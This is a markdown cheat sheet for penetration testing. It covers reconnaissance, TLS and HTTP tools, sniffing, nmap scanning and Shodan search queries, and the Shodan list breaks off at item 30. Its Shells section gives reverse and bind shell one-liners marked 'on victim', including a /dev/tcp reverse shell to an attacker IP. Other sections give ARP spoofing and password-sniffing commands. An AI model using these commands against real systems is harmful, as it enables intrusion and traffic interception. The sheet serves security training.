

# Hacker

## Search Engines

- [Shodan](#) - Search Engine for the Internet of Everything.
- [ZoomEye](#) - Search for the any devices, blockchains, websites, webcams etc.
- [Awesome-Google-Dorks](#)

## Learning Hacker

- [TryHackMe](#)
  - [Video] [TryHackMe! Basic Penetration Testing](#)
- [Hack The Box](#)
- [Hackers-Arise](#) - ??????
  - [?????????](#)
- [Hacking Books](#)
- [The art of Learning Programming for Red teaming and CyberSecurity](#)

## ?? Root ??

- [LES: Linux privilege escalation auditing tool](#)
- [Part 1](#)
- [Part 2](#)
- [Part 3](#)
- [Part 4](#)

## Hacking Tools

- [hping](#)

## Hacking Tools Cheat Sheet

### Basic Linux Networking Tools

#### Show IP configuration:

```
# ip a lw
```

#### Change IP/MAC address:

```
# ip link set dev eth0 down
```

```
# macchanger -m 23:05:13:37:42:21 eth0
```

```
# ip link set dev eth0 up
```

#### Static IP address configuration:

```
# ip addr add 10.5.23.42/24 dev eth0
```

#### DNS lookup:

```
# dig compass-security.com
```

#### Reverse DNS lookup:

```
# dig -x 10.5.23.42
```

### Information Gathering

#### Find owner/contact of domain or IP address:

```
# whois compass-security.com
```

#### Get nameservers and test for DNS zone transfer:

```
# dig example.com ns
```

```
# dig example.com axfr @n1.example.com
```

#### Get hostnames from CT logs:

```
%compass-security.com on https://crt.sh.
```

#### Or using an nmap script:

```
# nmap -sn -Pn compass-security.com
```

```
--script hostmap-crtsh
```

#### Combine various sources for subdomain enum:

```
# amass enum -src -brute -min-forrecursive
```

```
2 -d compass-security.com
```

### TCP Tools

#### Listen on TCP port:

```
# ncat -l -p 1337
```

#### Connect to TCP port:

```
# ncat 10.5.23.42 1337
```

### TLS Tools

#### Create self-signed certificate:

```
# openssl req -x509 -newkey rsa:2048
```

```
-keyout key.pem -out cert.pem -nodes
```

```
-subj "/CN=example.org/"
```

#### Start TLS Server:

```
# ncat --ssl -l -p 1337 --ssl-cert
```

```
cert.pem --ssl-key key.pem
```

#### Connect to TLS service:

```
# ncat --ssl 10.5.23.42 1337
```

#### Connect to TLS service using openssl:

```
# openssl s_client -connect
```

```
10.5.23.42:1337
```

#### Show certificate details:

```
# openssl s_client -connect
```

```
10.5.23.42:1337 | openssl x509 -text
```

#### Test TLS server certificate and ciphers:

```
# sslyze --regular 10.5.23.42:443
```

#### TCP to TLS proxy:

```
# socat TCP-LISTEN:2305,fork,reuseaddr
```

```
ssl:example.com:443
```

#### Online TLS tests:

```
• sslabs.com, hardenize.com
```

### HTTP Tools

#### Start Python webserver on port 2305:

```
# python3 -m http.server 2305
```

#### Perform HTTP Request:

```
# curl http://10.5.23.42:2305/?foo=bar
```

#### Useful curl options:

- -k: Accept untrusted certificates
- -d "foo=bar": HTTP POST data
- -H: "Foo: Bar": HTTP header
- -I: Perform HEAD request
- -L: Follow redirects
- -o foobar.html: Write output file
- --proxy http://127.0.0.1:8080: Set proxy

#### Scan for common files/applications/configs:

```
# nikto -host https://example.net
```

#### Enumerate common directory-/filenames:

```
# gobuster dir -k -u
```

```
https://example.net -w
```

```
/usr/share/wordlists/dirb/common.txt
```

### Sniffing

#### ARP spoofing:

```
# arpspoof -t 10.5.23.42 10.5.23.1
```

#### Or a graphical tool:

```
# ettercap -G
```

#### Show ARP cache:

```
# ip neigh
```

#### Delete ARP cache:

```
# ip neigh flush all
```

#### Sniff traffic:

```
# tcpdump [options] [filters]
```

#### Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file: Write output PCAP file
- -r file: Read PCAP file

#### Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to hosts in network

Advanced sniffing using tshark or Wireshark.

#### Sniffing over SSH on a remote host:

```
# ssh 10.5.23.42 tcpdump -w- port not
```

```
ssh | wireshark -k -i -
```

#### Search in network traffic:

```
# ngrep -i password
```

#### Show HTTP GET requests:

```
# urlsnarf
```

#### Show transmitted images:

```
# driftnet
```

### Network Scanning

#### ARP Scan:

```
# nmap -n -sn -PR 10.5.23.0/24
```

#### Reverse DNS lookup of IP range:

```
# nmap -sL 10.5.23.0/24
```

#### Nmap host discovery (ARP, ICMP, SYN 443/tcp

#### ACK 80/tcp):

```
# nmap -sn -n 10.5.23.0/24
```

#### TCP scan (SYN scan = half-open scan):

```
# nmap -Pn -n -sS -p
```

```
22,25,80,443,8080 10.5.23.0/24
```

#### List Nmap scripts:

```
# ls /usr/share/nmap/scripts
```

#### Scan for EternalBlue vulnerable hosts:

```
# nmap -n -Pn -p 443 --script smbvuln
```

```
ms17-010 10.5.23.0/24
```

#### Scan for vulnerabilities (script category filter):

```
# nmap -n -Pn --script "vuln and safe"
```

```
10.5.23.0/24
```

#### Performance Tuning (1 SYN packet ≈ 60 bytes

→ 20'000 packets/s ≈ 10 Mbps):

```
# nmap -n -Pn --min-rate 20000
```

```
10.5.23.0/24
```

#### Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery only)
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file: Host input file
- -oA file: Write output files (3 types)
- -sC: Script scan (default scripts)
- --script <file/category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan

The target can be specified using CIDR notation

(10.5.23.0/24) or range definitions (10.13-37.5.1-23).

#### Fast scan using masscan:

```
# masscan -p80,8000-8100 --rate 20000
```

```
10.0.0.0/8
```

#### Public internet scan databases:

```
• shodan.io, censys.io
```

### Shells

#### Start bind shell (on victim):

```
# ncat -l -p 2305 -e "/bin/bash -i"
```

#### Connect to bind shell (on attacker):

```
# ncat 10.5.23.42 2305
```

#### Listen for reverse shell (on attacker):

```
# ncat -l -p 23
```

#### Start reverse shell (on victim):

```
# ncat -e "/bin/bash -i" 10.5.23.5 23
```

#### Start reverse shell with bash only (on victim):

```
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1
```

#### Upgrade to pseudo terminal:

```
# python -c 'import pty;
```

```
pty.spawn("/bin/bash")'
```

## 40 Ways to Use Shodan

## 40 Ways to Use Shodan Like a Weapon

1. org:"Company Name" – Expose assets by organization
2. hostname:"<domain>.com" – Discover subdomains
3. ssl:"<domain>.com" – View SSL certificates and related infrastructure
4. http.title:"login" – Locate login portals
5. port:21 – Scan for exposed FTP servers
6. port:22 – Find SSH services
7. port:80 – Basic HTTP targets
8. http.favicon.hash:"-123456789" – Identify apps by favicon
9. product:"nginx" – Find servers running NGINX
10. product:"Apache" – Find Apache servers
11. country:"IN" – Filter assets by country
12. city:"New York" – Narrow by city
13. org:"Cloudflare" – Map org-level infrastructure
14. os:"Windows" – Find exposed Windows systems
15. os:"Linux" – Filter for Linux machines
16. vuln:CVE-2023-XXXXX – Search for specific CVEs
17. has\_screenshot:true – Get visual previews of exposed devices
18. shodan api <query> – Automate your recon via scripting
19. tag:"default" – Devices with default configurations
20. net:[xxx.xxx.xxx](#).0/24 – Scan specific subnets
21. port:9200 – Exposed Elasticsearch
22. port:6379 – Redis servers (often no auth)
23. port:11211 – Memcached
24. port:27017 – MongoDB
25. port:3306 – MySQL
26. port:5432 – PostgreSQL
27. title:"phpmyadmin" – phpMyAdmin instances
28. html:"X-Powered-By" – Fingerprint tech stacks
29. http.component:"WordPress" – Find WordPress sites
30. http.component:"Drupal" – Filter for Drupal

